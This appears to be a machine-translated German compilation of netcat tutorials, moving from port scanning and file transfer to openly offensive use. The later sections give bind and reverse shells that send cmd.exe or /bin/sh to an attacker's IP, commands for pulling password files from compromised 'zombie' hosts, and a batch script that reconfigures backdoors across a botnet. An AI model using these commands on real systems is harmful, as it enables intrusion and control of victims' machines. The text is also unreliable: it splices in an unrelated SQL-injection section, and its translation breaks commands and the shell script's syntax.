Zusammenfassung des Linux-Befehls nc

Zusammenfassung des Linux-Befehls nc

Der vollständige Name von NC lautet Netcat (Network Knife) und sein Autor ist Hobbit && ChrisWysopal. Es ist berühmt für seine leistungsstarken Funktionen und seine kompakte Größe und wird auch „Schweizer Taschenmesser“ genannt. nc - TCP/IP Schweizer Taschenmesser

nc wird häufig für Überlauf, Backlinks, Hochladen von Text usw. verwendet. Es handelt sich eigentlich um ein nicht standardmäßiges Telnet-Client-Programm. Es ist auch ein Putty.exe-Clientprogramm.

socat ist ein Ersatz für nc, der nc++ genannt werden kann. Es ist eine N-fach erweiterte Version von Netcat. Socat unterstützt viele Verbindungsmethoden, darunter IP, TCP, UDP, IPv6, Pipe, Exec, System, Open Proxy, OpenSSL usw.

Funktionsbeschreibung: Leistungsstarkes Netzwerktool

Syntax: nc [-hlnruz][-g<Gateway...>][-G<Anzahl der Zeiger>][-i<Verzögerungssekunden>][-o<Ausgabedatei>][-p<Kommunikationsport>]
[-s<Quelladresse>][-v...][-w<Timeout (Sekunden)>][Hostname][Kommunikationsport...]

Parameter:
-g<Gateway> Legen Sie das Router-Hop-Kommunikations-Gateway fest. Bis zu 8 sind möglich.
-G <Anzahl der Zeiger> Setzt den Quellroutingzeiger, dessen Wert ein Vielfaches von 4 ist.
-h Online-Hilfe.
-i<Verzögerung in Sekunden> Legen Sie das Zeitintervall für das Senden von Informationen und das Scannen von Kommunikationsports fest.
-l Abhörmodus für eingehende Verbindungen (auf lokalem Port abhören).
-n Verwenden Sie die IP-Adresse direkt, ohne den Umweg über einen Domänennamenserver.
-o<Ausgabedatei> gibt den Dateinamen an und schreibt die übertragenen Daten zur Speicherung im Hexadezimalcode in die Datei.
-p<Kommunikationsport> Legt den vom lokalen Host verwendeten Kommunikationsport fest.
-r Gibt den Kommunikationsport zwischen dem lokalen und dem Remote-Host nach dem Zufallsprinzip an.
-s<Quelladresse> Legen Sie die IP-Adresse des lokalen Hosts zum Senden von Datenpaketen fest.
-u UDP-Transportprotokoll verwenden.
-v zeigt den Befehlsausführungsprozess an.
-w<Timeout Sekunden> Legen Sie die Zeit fest, die auf die Verbindung gewartet werden soll.
-z Verwenden Sie den Eingabe-/Ausgabemodus 0, der nur beim Scannen von Kommunikationsports verwendet wird.

[root@hatest1 ~]# Typ -a nc
nc ist /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22

1) Port-Scanning

nc -v -z host.example.com 70-80 #Ports scannen (70 bis 80), Sie können einen Bereich angeben. -v Detaillierte Informationen ausgeben.
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24 # Sie können es auch ohne den Parameter -z versuchen nc: Verbindung zu 192.168.2.34 Port 21 (TCP) fehlgeschlagen: Verbindung abgelehnt
Verbindung zu 192.168.2.34 22 Port [TCP/SSH] erfolgreich!
nc: Verbindung zu 192.168.2.34 Port 23 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu 192.168.2.34 Port 24 (TCP) fehlgeschlagen: Verbindung abgelehnt
[email protected]:~# nc -v -z -w2 127.0.0.1 1-100
[email protected]:~# nc -v -w 10 10.1.1.180 80
[email protected]:~# nc -v -w 10 10.1.1.180 -z 80-30000
# Hören Sie auf den lokalen Port [email protected]:~# nc -l -p 1234 
[email protected]:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc
# Testen Sie den UDP-Port [email protected]:web# netstat -tunlp
Aktive Internetverbindungen (nur Server)
Proto Recv-Q Send-Q Lokale Adresse Fremde Adresse Status PID/Programmname  
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd      
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient
[email protected]:~# nc -vuz 172.16.211.34 68
Verbindung zu 172.16.211.34 68 Port [udp/bootpc] erfolgreich!
nc -p 1234 -w 5 host.beispiel.com 80

Stellen Sie eine Verbindung vom lokalen Port 1234 zu Port 80 von host.example.com mit einem Timeout von 5 Sekunden her.

nc -u host.beispiel.com 53

u ist eine UDP-Verbindung

2) Dateien aus der Ferne kopieren

Kopieren Sie die Datei von Server1 nach Server2.

Aktivieren Sie zunächst mit nc die Überwachung auf Server2 und führen Sie auf Server2 Folgendes aus:

[root@hatest2 tmp]# nc -lp 1234 > install.log

Auf Server1 ausführen:

[root@hatest1 ~]# ll install.log
-rw-r--r-- 1 root root 39693 20. Dezember 2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

Zielhostüberwachung

nc -l Abhörport > Name der zu empfangenden Datei nc -l 4444 > cache.tar.gz

Der Quellhost initiiert die Anfrage

nc Zielhost-IP Zielport nc 192.168.0.85 4444

netstat lautet wie folgt

[root@localhost jiangbao]# netstat -tpln
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc

Verzeichnisübertragung

Kopieren Sie den Inhalt des Verzeichnisses nginx-0.6.34 von Server1 nach Server2.

Aktivieren Sie zunächst mit nc die Überwachung auf Server2 und führen Sie auf Server2 Folgendes aus:

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

Auf Server1 ausführen:
[

root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234

Dateien von 192.168.2.33 nach 192.168.2.34 kopieren

Auf 192.168.2.34: nc -l 1234 > test.txt

Auf 192.168.2.33: nc 192.168.2.34 < test.txt

Eine Festplatte oder Partition klonen

Der Vorgang ist dem obigen Kopieren ähnlich. Sie müssen lediglich dd verwenden, um die Daten der Festplatte oder Partition abzurufen und sie dann zu übertragen.

Der Vorgang des Klonens einer Festplatte oder Partition sollte nicht auf einem gemounteten System durchgeführt werden.

Daher müssen Sie zum Booten die Installations-CD verwenden, in den Rettungsmodus wechseln (oder die Knoppix-Tool-CD verwenden), um das System zu starten, und dann ähnliche Überwachungsaktionen auf Server2 durchführen:

# nc -l -p 1234 | dd von=/dev/sda

Führen Sie die Übertragung auf Server1 aus, um die Aufgabe des Klonens der SDA-Festplatte von Server1 auf Server2 abzuschließen:

# dd if=/dev/sda | nc 192.168.228.222 1234

3) Einfaches Chat-Tool

Auf 192.168.2.34: nc -l 1234

Auf 192.168.2.33: nc 192.168.2.34 1234

Auf diese Weise können beide Parteien miteinander kommunizieren. Verwenden Sie zum Beenden Strg+C (oder D).

nc -l 1234
nc 127.0.0.1 1234

Stellen Sie eine Verbindung über Port 1234 her und senden Sie sich gegenseitig Eingaben.

4) Speichern Sie die Webseite

# solange wahr; mache nc -l -p 80 -q 1 < somepage.html; fertig

5) Simulation von HTTP-Headern

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: meineseite.com User-Agent: mein-browser
HTTP/1.1 200 OK Datum: Di, 16. Dezember 2008 07:23:24 GMT Server: Apache/2.2.6 (UNIX) DAV/2 Mod_Mono/1.2. Cache-Control: No-Store, No-Cache, Must-Revalidat, Post-Check = 0, Pre-Check = 0 Pragma: No-Cache Cache-Control: POST-CHECK = 0, PRE-CHECK = 0, MAX-AGE = 0 SET-COOKIE: Owns_SID = Xrutay; Chunked Content-Typ: Text/HTML [......]

Geben Sie nach dem nc-Befehl den Inhalt in Rot ein und drücken Sie zweimal die Eingabetaste, um den HTTP-Header-Inhalt von der anderen Partei abzurufen.

echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

Mit dem Host verbinden und ausführen

6) Verwenden Sie den Befehl nc, um Memcached zu betreiben
1) Daten speichern: printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2) Daten abrufen: printf "get keyrn" |nc 192.168.2.34 11211
3) Daten löschen: printf "delete keyrn" |nc 192.168.2.34 11211
4) Überprüfen Sie den Status: printf "statsrn" |nc 192.168.2.34 11211
5) Simulieren Sie den obersten Befehl, um den Status zu überprüfen: watch "echo stats" |nc 192.168.2.34 11211
6) Cache leeren: printf "flush_allrn" |nc 192.168.2.34 11211 (Vorsicht, der Cache ist weg, wenn er geleert wird)

Ergänzendes Tutorial 2

So verwenden Sie nc

Netcat ist als das „Schweizer Taschenmesser“ der Netzwerksicherheit bekannt. Ich glaube, jeder kennt es ...

Ein einfaches, aber nützliches Tool zum Lesen und Schreiben von Daten über eine Netzwerkverbindung mithilfe der Protokolle TCP oder UDP. Es ist als stabiles Backdoor-Tool konzipiert, das problemlos direkt von anderen Programmen und Skripten gesteuert werden kann. Gleichzeitig ist es auch ein leistungsstarkes Tool zur Netzwerkfehlerbehebung und -erkennung, das nahezu alle benötigten Netzwerkverbindungstypen herstellen kann und über mehrere interessante integrierte Funktionen verfügt (Einzelheiten finden Sie weiter unten in der Verwendung). In China gibt es zwei Versionen der WINDOWS-Version: eine ist die Originalversion des ursprünglichen Autors Chris Wysopal und die andere ist die neue „verdichtete“ Version, die von „Red and Black“ zusammengestellt wurde. Die „verdichtete“ Version des Hauptprogramms ist nur größer als 10 KB (der 10-KB-NC kann die unten genannten 4. und 5. Verwendungsmethoden nicht ausführen. Der ursprüngliche NC mit dieser Funktion scheint 60 KB groß zu sein: P). Obwohl die „Größe“ klein ist, kann damit viel Arbeit erledigt werden.

Software-Einführung:
Name des Tools: Netcat
Autor: Hobbit && Chris Wysopal
Website: http://www.atstake.com/research/tools/network_utilities/
Kategorie: Open Source Plattform: Linux/BSD/Unix/Windows
WINDOWS-Versionsnummer: [v1.10 NT]

Parametereinführung:

Durch Ausführen von „nc.exe -h“ können Sie sehen, wie Sie die einzelnen Parameter verwenden.
Grundlegendes Format: nc [-Optionen] Hostname Port[s] [Ports] …
nc -l -p port [Optionen] [Hostname] [Port]
-d Hintergrundmodus
-e Programmumleitung, sobald die Verbindung besteht, wird sie ausgeführt [ACHTUNG!!]
-g Gateway Source-Routing Hop-Punkt[e], bis zu 8 Legt das Router-Hop-Kommunikations-Gateway fest. Es können bis zu 8 festgelegt werden.
-G Num Quellroutingzeiger: 4, 8, 12, … Setzt den Quellroutingzeiger auf ein Vielfaches von 4.
-h Hilfeinformationen
-i Sek. Verzögerungsintervall
-l Abhörmodus für eingehende Verbindungen (Abhören auf lokalen Ports)
-L Nach Schließen der Verbindung weiter zuhören
-n gibt eine numerische IP-Adresse an, keinen Hostnamen. Das heißt, verwenden Sie die IP-Adresse direkt, ohne den Umweg über den Domänennamenserver.
-o Datei gibt den Dateinamen an und schreibt die übertragenen Daten im Hexadezimalformat in die Datei.
-p port lokale Portnummer (lokalen Port angeben)
-r Zufällige lokale und Remote-Ports
-s addr lokale Quelladresse
-t Interaktiven TELNET-Modus verwenden (mit Telnet antworten)
-u UDP-Modus
-v Ausführliche Ausgabe -- verwenden Sie zwei -v ( -vv ), um ausführlichere Informationen zu erhalten. Holen Sie sich Portinformationen
-w Sek. Zeitüberschreitung
-z schaltet Eingabe und Ausgabe aus – nur zum Scannen. Ports können im MN-Bereichsformat geschrieben werden.

Grundlegende Verwendung:

Es gibt wahrscheinlich folgende Verwendungszwecke:

1) Verbindung zum Remote-Host herstellen, Beispiel:
Format: nc -nvv 192.168.xx 80
Erklärung: Verbindung zum TCP-Port 80 von 192.168.xx herstellen
2) Hören Sie dem lokalen Host zu, Beispiel:
Format: nc -l -p 80
Erklärung: Lauschen Sie dem TCP-Port 80 dieser Maschine
3) Remote-Host scannen, Beispiel:
Format: nc -nvv -w2 -z 192.168.xx 80-445
Erklärung: Scannen Sie alle Ports von TCP80 bis TCP445 von 192.168.xx
4) Remote-Host-Binding-Shell, Beispiel:
Format: nc -l -p 5354 -t -ec:winntsystem32cmd.exe
Erklärung: Binden Sie die CMDSHELL des REMOTE-Hosts an den TCP5354-Port des REMOTE-Hosts
5) Der REMOTE-Host bindet sich an die SHELL und stellt die Verbindung umgekehrt her, Beispiel:
Format: nc -t -ec:winntsystem32cmd.exe 192.168.xx 5354
Erklärung: Binden Sie die CMDSHELL des REMOTE-Hosts und stellen Sie umgekehrt eine Verbindung zum TCP5354-Port 192.168.xx her. Die oben genannten sind die grundlegendsten Verwendungen (tatsächlich gibt es viele andere Verwendungen von NC. In Kombination mit Pipe-Befehlen „|“ und Umleitungsbefehlen „<“, „>“ usw. sind die Befehlsfunktionen leistungsfähiger ...).
Erweiterte Nutzung:
6) Wird als Angriffsprogramm verwendet, Beispiel:
Format 1: type.exe c:exploit.txt|nc -nvv 192.168.xx 80
Format 2: nc -nvv 192.168.xx 80 < c:exploit.txt
Erklärung: Stellen Sie eine Verbindung zu Port 80 von 192.168.xx her und senden Sie den Inhalt von c:exploit.txt in seiner Pipeline (die beiden Formate haben dieselbe Wirkung, sie sind von ihrer Natur her sehr ähnlich:P)
Anhang: c:\exploit.txt ist Shellcode usw.
7) Wird als Honeypot verwendet[1], Beispiel:
Format: nc -L -p 80
Erklärung: Verwenden Sie -L (beachten Sie, dass L groß geschrieben ist), um einen Port kontinuierlich zu überwachen, bis Strg+C gedrückt wird.
8) Wird als Honeypot verwendet[2], Beispiel:
Format: nc -L -p 80 > c:log.txt
Erklärung: Mit -L wird ein Port kontinuierlich überwacht, bis Sie Strg+C drücken, und die Ergebnisse werden in c:log.txt ausgegeben. Wenn Sie '>' in '>>' ändern, können Sie das Protokoll anhängen.
Anhang: c:\log.txt ist das Logbuch usw.
9) Wird als Honeypot verwendet [3], zum Beispiel:
Format 1: nc -L -p 80 < c:honeypot.txt
Format 2: type.exe c:honeypot.txt|nc -L -p 80
Erklärung: Verwenden Sie -L, um einen Port kontinuierlich zu überwachen, bis Strg+C gedrückt wird, und senden Sie den Inhalt von c:honeypot.txt in die Pipe.
Wenn der Angreifer weiß, dass die Anwendung den im Formular eingegebenen Inhalt direkt für die Authentifizierungsabfrage verwendet, wird er versuchen, durch die Eingabe spezieller SQL-Zeichenfolgen die Abfrage zu manipulieren und ihre ursprüngliche Funktion zu ändern.
Überlisten Sie das System, um Zugriff zu gewähren. Der Schaden, den ein Angreifer anrichten kann, ist je nach Systemumgebung unterschiedlich und wird hauptsächlich durch die Sicherheitsberechtigungen der Anwendung für den Zugriff auf die Datenbank bestimmt.
Wenn das Benutzerkonto über Administratorrechte oder andere erweiterte Berechtigungen verfügt, kann der Angreifer unter Umständen beliebige Vorgänge an den Datenbanktabellen durchführen.
Hierzu gehört das Hinzufügen, Löschen oder Aktualisieren von Daten und möglicherweise sogar das direkte Löschen der Tabelle.

2. Wie kann man es verhindern?

Glücklicherweise ist es nicht besonders schwierig, ASP.NET-Anwendungen vor Angriffen durch SQL-Injection zu schützen. Sie müssen lediglich den gesamten Eingabeinhalt filtern, bevor Sie SQL-Befehle mit dem im Formular eingegebenen Inhalt erstellen. Das Filtern der Eingaben kann auf verschiedene Arten erfolgen.

(1) In Situationen, in denen SQL-Abfragen dynamisch erstellt werden, können die folgenden Techniken verwendet werden:

Erstens: Ersetzen Sie einfache Anführungszeichen, d. h. ändern Sie alle alleinstehenden einfachen Anführungszeichen in zwei einfache Anführungszeichen, um zu verhindern, dass Angreifer die Bedeutung von SQL-Befehlen ändern. Wenn wir uns das vorherige Beispiel noch einmal ansehen, führt „Select * from Users Where login = or 1=1 AND password = or 1=1“ offensichtlich zu anderen Ergebnissen als „Select * from Users Where login = or 1=1 AND password = or 1=1“.

Zweitens: Löschen Sie alle Bindestriche in der Benutzereingabe, um zu verhindern, dass Angreifer Abfragen wie „Select * from Users Where login = mas -- AND password =" konstruieren, da die zweite Hälfte solcher Abfragen auskommentiert wurde und nicht mehr gültig ist. Solange der Angreifer einen gültigen Benutzeranmeldenamen kennt, muss er das Passwort des Benutzers nicht kennen, um Zugriff zu erhalten.

Drittens: Beschränken Sie die Berechtigungen des Datenbankkontos, das zum Ausführen von Abfragen verwendet wird. Führen Sie Abfrage-, Einfüge-, Aktualisierungs- und Löschvorgänge mit verschiedenen Benutzerkonten durch. Da die Vorgänge, die von verschiedenen Konten ausgeführt werden können, isoliert sind, wird verhindert, dass der ursprünglich zum Ausführen des Befehls „Auswählen“ verwendete Ort zum Ausführen des Befehls „Einfügen“, „Aktualisieren“ oder „Löschen“ verwendet wird.

⑵ Verwenden Sie gespeicherte Prozeduren, um alle Abfragen auszuführen. Die SQL-Parameter werden so übergeben, dass Angreifer keine einfachen Anführungszeichen und Bindestriche ausnutzen können. Darüber hinaus können Datenbankberechtigungen so eingeschränkt werden, dass nur die Ausführung bestimmter gespeicherter Prozeduren zulässig ist. Alle Benutzereingaben müssen dem Sicherheitskontext der aufgerufenen gespeicherten Prozedur entsprechen, wodurch Injektionsangriffe erschwert werden.

⑶ Begrenzen Sie die Länge der Formular- oder Abfragezeichenfolgeneingabe. Wenn der Anmeldename des Benutzers höchstens 10 Zeichen lang ist, erkennen Sie nicht, dass mehr als 10 Zeichen in das Formular eingegeben werden, da es für Angreifer dann erheblich schwieriger wird, schädlichen Code in SQL-Befehle einzufügen.

⑷ Überprüfen Sie die Rechtmäßigkeit der Benutzereingaben und stellen Sie sicher, dass der Eingabeinhalt nur legale Daten enthält. Die Datenprüfung sollte sowohl auf der Client- als auch auf der Serverseite durchgeführt werden. Der Grund für die Durchführung einer serverseitigen Validierung besteht darin, die schwache Sicherheit des clientseitigen Validierungsmechanismus auszugleichen.

Auf der Clientseite ist es für einen Angreifer durchaus möglich, an den Quellcode einer Webseite zu gelangen, das Skript zur Überprüfung der Legitimität zu ändern (oder das Skript einfach zu löschen) und dann den illegalen Inhalt in der geänderten Form an den Server zu übermitteln. Daher besteht die einzige Möglichkeit sicherzustellen, dass der Validierungsvorgang tatsächlich durchgeführt wurde darin, die Validierung auch auf der Serverseite durchzuführen. Sie können viele integrierte Validierungsobjekte verwenden, z. B. RegularExpressionValidator, das automatisch clientseitige Skripte zur Validierung generieren kann, und natürlich können Sie auch serverseitige Methodenaufrufe einfügen. Wenn Sie kein vorgefertigtes Validierungsobjekt finden, können Sie mit CustomValidator selbst eines erstellen.

⑸ Benutzeranmeldenamen, Passwort und andere Daten verschlüsseln und speichern. Das Verschlüsseln der vom Benutzer eingegebenen Daten und der anschließende Vergleich mit den in der Datenbank gespeicherten Daten entspricht einer „Desinfektion“ der vom Benutzer eingegebenen Daten. Die vom Benutzer eingegebenen Daten haben für die Datenbank keine besondere Bedeutung mehr und verhindern so, dass Angreifer SQL-Befehle einschleusen können. Die Klasse System.Web.Security.formsAuthentication verfügt über ein HashPasswordForStoringInConfigFile, das sich perfekt zum Bereinigen von Eingabedaten eignet.

⑹ Überprüfen Sie die Anzahl der Datensätze, die von der Abfrage zurückgegeben werden, die die Daten extrahiert. Wenn das Programm nur die Rückgabe eines Datensatzes erfordert, tatsächlich aber mehr als eine Datensatzzeile zurückgegeben wird, wird dies als Fehler behandelt.

nc -l -v -p 7626

Öffnen Sie den lokalen Port 7626 zum Abhören und Rückmelden der Verbindungsinformationen.

Wenn jemand nach dem Iceberg-Trojaner sucht, wird er denken, dass Sie mit dem Trojaner infiziert sind und 7626 geöffnet haben, was der Funktion von „Piggy Run“ ein wenig ähnelt. Wenn Sie eine Batchdatei hinzufügen, um sie gemeinsam zu verwenden, wird es zu einem „Pig Run“.

nc -l -p 80 >>c:\\log.dat 

Wenn Sie überwachen möchten, ob es zu Eindringversuchen am lokalen Port 80 kommt, und diese aufzeichnen möchten, verwenden Sie diesen Befehl. Auf diese Weise wird jeder Angriff auf Port 80 dieser Maschine aufgezeichnet.

nc -l -p 123 -e cmd.exe oder: nc -l -p 123 -t

Wenn Sie über Overflow Zugriff auf den Computer einer anderen Person haben, können Sie den obigen Befehl ausführen. Die Funktion besteht darin, mit cmd.exe auf die Verbindung zu Port 123 auf der Maschine zu antworten.

Dadurch wird der übergelaufene Host in einen Telnet-Zombie. Sie können auch Befehle verwenden, um die Brute-Force-Attacke aktiv mit Ihrem Host zu verbinden, vorausgesetzt, meine IP ist 192.168.0.1

Auf der Brute-Force-Maschine ausführen: nc -e cmd.exe 192.168.0.1 777 . Führen Sie dann auf der lokalen Maschine aus: nc -l -p 777

Dies bedeutet, dass der Bot aktiv mit cmd.exe (einer Shell) auf Port 777 Ihres Computers antwortet. Sie hören dann auf dem lokalen Computer Port 777 ab und geben die Eingabeaufforderung der anderen Partei ein.

Dies ist auch das Prinzip des Rebound-Port-Trojaners.

nc -v 192.168.0.25 80

Holen Sie sich die Informationen zu Port 80 von 192.168.0.25. Sie erhalten viele wichtige Informationen wie die IIS-Version

nc -v -z 192.168.0.25 1-100

Scannen Sie die TCP-Ports zwischen 1 und 100 auf 192.168.0.25

nc -v -z -u 192.168.0.25 1-100

Dies dient zum Scannen der UDP-Ports zwischen 1 und 00

nc -vv ip port //Porterkennung:
RIVER [192.168.0.198] 19190 (?) open //Zeige, ob es geöffnet ist

Scanner

nc -vv -w 5 IP-Port-Port-Port 
nc -vv -z IP-Port-Port Port

Solche Scans hinterlassen viele Spuren und Systemadministratoren werden besonders vorsichtig sein.

Hintertür

Maschine des Opfers: // Maschine des Opfers nc -l -p port -e cmd.exe // win2000 
nc -l -p port -e /bin/sh // unix,linux 
Angreifermaschine: // Maschine des Angreifers. 
nc ip -p port // Mit der IP des Opfers verbinden und eine Shell abrufen.

Umgekehrte Verbindung

Angreifer-Maschine: //Normalerweise sql2.exe-, Remote-Overflow-, webdavx3.exe-Angriff. 
//Oder die umgekehrte Verbindung von Wolff. 
nc -vv -l -p Anschluss 
Opfermaschine: 
nc -e cmd.exe Angreifer-IP -p Port 
nc -e /bin/sh Angreifer-IP -p Port

oder:

Angreifer-Maschine: 
nc -vv -l -p Port1 
nc -vv -l -p prot2 
Opfermaschine: 
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
nc Angreifer-IP Port1 | /bin/sh | nc Angreifer-IP Port2

139 muss den Parameter -s hinzufügen (nc.exe -L -p 139 -d -e cmd.exe -s IP der anderen Maschine), damit nc.exe Vorrang vor NETBIOS hat.

Dateien übertragen:

Angreifer-Rechner <-- Opfer-Rechner //Ziehen Sie die Passwortdatei vom Zombie-Rechner zurück. 
nc -d -l -p port < path\filedest kann in der Shell ausgeführt werden. nc -vv attacker_ip port > path\file.txt erfordert Strg+C zum Beenden. // Der Zombie muss in cmd.exe der GUI-Schnittstelle ausgeführt werden (Terminal-Login, nicht so bequem wie die Installation von FTP). Andernfalls gibt es keine Möglichkeit, Strg+C einzugeben.
Angreifer-Rechner --> Opfer-Rechner //Laden Sie die Befehlsdatei auf den Zombie-Rechner hoch nc -vv -l -p port > path\file.txt Zum Beenden müssen Sie Strg+C drücken nc -d Opfer-IP port < path\filedest Kann per Shell ausgeführt werden //Das ist besser. Wir melden uns beim Terminal an. Dringen in andere Zombie-Rechner ein. Sie können den Shell-Modus zum Anmelden wählen.

Erfassung von Portdaten.

nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntaxfehler 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , Befehl "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # erkannt... 
< 00000084 83 00 00 01 8f # .....

Telnet, automatische Stapelverarbeitung.

nc victim_ip port < path\file.cmd zeigt den Ausführungsvorgang. 
nc -vv victim_ip port < path\file.cmd zeigt den Ausführungsvorgang.
nc -d victim_ip port < path\file.cmd Ruhemodus.
_______________Datei.cmd________________________ 
Passwort 
cd %windir% 
echo []=[%windir%] 
C: 
CD \ 
MD-Test 
cd /d %windir%\system32\ 
Netzstopp Sksockserver 
snake.exe -config Port 11111 
net start sksockserver 
Ausfahrt 
_______________datei.cmd__ENDE___________________

########################################
Broiler verwalten und Broilereinstellungen ändern
########################################

1) Wenn Sie beispielsweise den Proxy-Port im Botnetz einheitlich ändern möchten, ändern Sie snake.exe in 11111, den Dienstnamen „sksockserver“, und verwenden Sie die Winshell-Hintertür. Port 1234 Passwort Passwort

Das Befehlsformat ist:

modi.bat youip.txt
___________modi.bat____________________________ 
@if "%1"=="" echo Fehler: keine ip.txt &&goto END
:Start 
@echo Passwort >a.cmd 
@echo s >>a.cmd 
@echo cd /d %%windir%%\system32\ >>a.cmd 
@net stop "sksockserver" >>a.cmd 
@snake.exe -config Port 11111 >>a.cmd 
@net start "sksockserver" >>a.cmd 
@exit >>a.cmd
:Auto 
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:ENDE 
___________modi.bat__END______________________

2)

@echo aus 
Farbe f0 
:Start 
cls 
C:\nc -vv -w 3 -l -p 80>>80.txt 
gehe zum Anfang

Nach dem Ausschalten der Firewall und dem Ausführen dieses Batch-Prozesses werden Sie viele Informationen zum Erkennen von U-Schwachstellen überwachen, meist in Dreiergruppen - Nimda-Viren scannen Sie.
Auf diese Weise entstehen Masthühnchen. Die Qualität ist zwar nicht hoch, aber es ist auch eine kostengünstige Methode.

Broilereigenschaften:
1. Unicode-Sicherheitslücke
2. Das Gastkennwort ist leer, der Benutzer der Administratorengruppe
3. Andere Schwachstellen werden zum Übertragen von Dateien verwendet — ncp

#!/bin/sh 
## Ähnlich wie rcp, aber mit netcat auf einem hohen Port. ## Führen Sie „ncp targetfile“ auf dem empfangenden Computer aus. 
## Führen Sie "ncp sourcefile receivinghost" auf dem Computer aus, der die Datei sendet 
## Beim Aufruf von "nzp" wird die übertragene Datei komprimiert. ## Legen Sie hier den Port fest, den Sie verwenden möchten. MYPORT=23456 ist frei wählbar.
## Wenn nc nicht im Systempfad ist, heben Sie die Kommentierung der folgenden Zeile auf und ändern Sie sie # PATH=$:$ ; export PATH
## Die folgenden Zeilen prüfen die Parametereingabe:
test "$3" && echo "zu viele Argumente" && exit 1 
Test! "$1" und echo "keine Argumente?" und exit 1 
ich=`echo $0 | sed s+.*/++` 
test "$me" = "nzp" && echo [komprimierter Modus]
# wenn das zweite Argument ein Host ist, an den eine [vorhandene] Datei gesendet werden soll. 
wenn test "$2"; dann 
test ! -f "$1" und echo "$1 nicht gefunden" und exit 1 
wenn test "$me" = "nzp"; dann 
  komprimieren -c < "$1" | nc -v -w 2 $2 $MYPORT und exit 0 
anders 
  nc -v -w 2 $2 $MYPORT < "$1" und exit 0 
fi 
echo "Übertragung FEHLGESCHLAGEN!" 
Ausfahrt 1 
fi
# Gibt es eine Datei mit dem gleichen Namen im aktuellen Verzeichnis des empfangenden Computers, wenn test -f "$1" ; dann 
echo -n "$1 überschreiben?" 
lesen Sie aa 
Test! "$aa" = "y" und echo "[punted!]" und exit 1 
fi 
# 30 Sekunden sollten genug Zeit sein, aber ändern Sie es, wenn Sie möchten. 
wenn test "$me" = "nzp"; dann 
# Beachten Sie hier die Verwendung von nc, wobei Umleitungssymbole und Pipes kombiniert werden nc -v -w 30 -p $MYPORT -l < ​​​​/dev/null | uncompress -c > "$1" && exit 0 
anders 
nc -v -w 30 -p $MYPORT -l < ​​/dev/null > "$1" und exit 0 
fi 
echo "Übertragung FEHLGESCHLAGEN!" 
# aufräumen, denn selbst wenn die Überweisung fehlgeschlagen ist, ist $1 bereits gelöscht 
rm -f "$1" 
Ausfahrt 1

In diesem Fall muss ich nur zuerst QuackA# ncp ../abcd auf Maschine A ausführen

Dann auf einer anderen Maschine B

QuackB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 (?)

Erscheint auf A

offene Verbindung zu [192.168.0.2] von quackb [192.168.0.1] 1027 
# Überprüfen Sie, ob die Dateiübertragung abgeschlossen ist.

===========================================================================
[Lokaler Betrieb] nc -v IP-Port
[Befehlserklärung] Scannen Sie einen Port einer bestimmten IP und geben Sie detaillierte Ausgabeinformationen zurück.
===========================================================================
[Lokaler Vorgang] nc -v -z ip port-port
[Befehlserklärung] Scannen Sie den Port einer bestimmten IP zu einem bestimmten Port und geben Sie eine detaillierte Informationsausgabe zurück, aber die Scangeschwindigkeit ist langsam.
===========================================================================
[Lokaler Vorgang] nc -v -z -u ip port-port
[Befehlserklärung] Scannen Sie einen bestimmten UDP-Port einer bestimmten IP zu einem bestimmten UDP-Port und geben Sie eine detaillierte Informationsausgabe zurück, aber die Scan-Geschwindigkeit ist langsam.
===========================================================================
[Lokaler Betrieb] nc -l -p 80
[Befehlserklärung] Öffnen Sie den lokalen TCP-Port 80 und hören Sie zu.
===========================================================================
[Lokale Operation] nc -l -v -p 80
[Befehlserklärung] Öffnen Sie den lokalen TCP-Port 80 und geben Sie die überwachten Informationen im aktuellen CMD-Fenster aus.
===========================================================================
[Lokaler Vorgang] nc -l -p 80 > E:/log.dat
[Befehlserklärung] Öffnen Sie den lokalen TCP-Port 80 und geben Sie die überwachten Informationen in die Protokolldatei unter E:/log.dat aus.
===========================================================================
[Lokaler Betrieb] nc -nvv 192.168.1.101 80
[Befehlserklärung] Verbinden Sie sich mit Port 80 des Hosts 192.168.1.101.
===========================================================================
[Lokaler Betrieb] nc -nvv -w2 -z 192.168.1.101 80-1024
[Befehlserklärung] Scannen Sie die Ports 80-1024 von 192.168.1.101. Das Verbindungs-Timeout beträgt 2 Sekunden.
===========================================================================
[Remote-Betrieb] nc -l -p 2012 -t -e cmd.exe
[Lokaler Betrieb] nc -nvv 192.168.1.101 2012
